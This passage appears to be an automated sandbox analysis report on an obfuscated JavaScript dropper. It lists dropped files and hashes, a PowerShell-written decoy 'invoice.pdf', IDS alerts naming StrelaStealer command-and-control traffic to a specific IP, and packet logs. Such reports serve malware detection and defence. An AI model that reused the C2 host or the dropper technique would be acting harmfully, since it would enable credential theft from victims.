File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.4106097662958055
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRoW:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR7
MD5:	6625F8C677B296C56A720910167716A8
SHA1:	40F7A4D7CB3397A07CA0B20A7064A23F476893C0
SHA-256:	73A24550427F9F6BCB8F67CC8652BA721CCF7C58E7FE447EA1823DE375CD49E9
SHA-512:	5E08CED9689FFA562CB08DAF31C4CCAD1B46A57F2CFAD290689F6DBCF978405FDA474D8F8A12B51C6144F831DBBCE9B5B6083AF541CBA7F068075EF047ECF544
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\26bfc9cc-b776-446e-93c7-48322d440167.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\765339e9-c955-4703-b283-a297df18b417.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\cb21a6d0-b0d3-4fad-9241-6a9ad3390675.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eaa76751-b73a-4eab-a54e-47bd6dc2f88e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14864), with CRLF line terminators
Entropy (8bit):	4.922880069608883
TrID:
File name:	15226731132828820.js
File size:	18'402 bytes
MD5:	2fa941d1eeae0bb753f1a06a9ebeba18
SHA1:	7930536266adc36a348a9083399dd0859bc3c1fc
SHA256:	f6f4553482e98fd4935fa947bcfaca33c18e1ebedf3c29d27beb3f765009f490
SHA512:	fe47cffdc1cc13b63a8623fc3ccca47e6d3dff789b49fd479b678f8d2c1ac01895ecb13ec17cccb5ed147b2006ca53eb2f2ee6df7e43fe749747b8f185e65c17
SSDEEP:	384:r3xmxU8mwUTUjuPC2fYJY5thnMtuLRHI/YDZoAWTbuZ:lmx3mw2G6C2fJlnMtulsAWTqZ
TLSH:	608235CF4586DBABCFD692308A4720FE67F84580408466D95C83749713C9EBBE5DB0BA
File Content Preview:	function qsrvyz(){kgogepzr=[1031,3079,5127,4103,2055,3072];var kwddj=this[ehruch+uwcgrsu+crhen+gvieivjc+zvgtza+odwasbi+skpyigb+ruymncag](this[oiswxcbgb+ionxczbk+ayjchgo+crhen+wsmougx+ehruch+ruymncag][dahrev+crhen+zvgtza+uwcgrsu+ruymncag+zvgtza+xymqzzu+zmq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:29:06.346102+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T01:29:06.346102+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T01:29:08.836244+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:29:05.540232897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:05.545125008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:05.545212030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:05.548736095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:05.553539038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346026897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346051931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346070051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346086025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346101999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.346121073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346132994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.346147060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346162081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346175909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346195936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346203089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.346220970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.346229076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.346594095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.351025105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.351075888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.351196051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.403417110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.403436899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.403490067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.466866016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.466892958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.466909885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.466924906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.466943026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.466974020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.467025042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.467111111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467160940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.467330933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467366934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467387915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467396021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467427969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.467452049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.467896938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467922926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467941999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467966080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467984915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.467993021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.468014956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.468858004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.468872070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.468888044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.468905926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.468914032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.468934059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.468940020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.468976974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.469603062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.523631096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.536005974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.536035061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.536098003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.567615986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.567640066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.567657948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.567707062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.587515116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587539911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587568045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587584019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587599993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587635040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.587698936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.587785006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587831974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587847948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.587888956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.588144064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588160038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588176012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588195086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588207006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.588232040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.588579893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588594913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588612080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588629007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.588648081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.588692904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.589073896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589088917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589103937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589118958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589137077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589152098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589168072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589179993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.589195967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.589209080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.589209080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.589209080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.590053082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590076923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590085983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590087891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590094090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590109110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590123892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.590137005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590152979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.590162039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590172052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.590863943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590917110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.590935946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590940952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590945005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590987921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.590997934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.591012001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.591021061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.591033936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.591051102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.591068029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.591964960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.591981888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.591996908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.592030048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.592056990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.622705936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.622729063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.622756004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.622769117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.622788906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.622834921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.654318094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.654344082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.654398918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.688678026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.688703060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.688719034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.688734055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.688755035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.688770056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.688786983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.708661079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708683014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708699942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708718061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708733082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.708769083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.708868980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708884001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708904982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708916903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.708918095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.708966017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.709254026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.709270000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.709285975 CET	80	49699	193.143.1.205	192.168.2.7
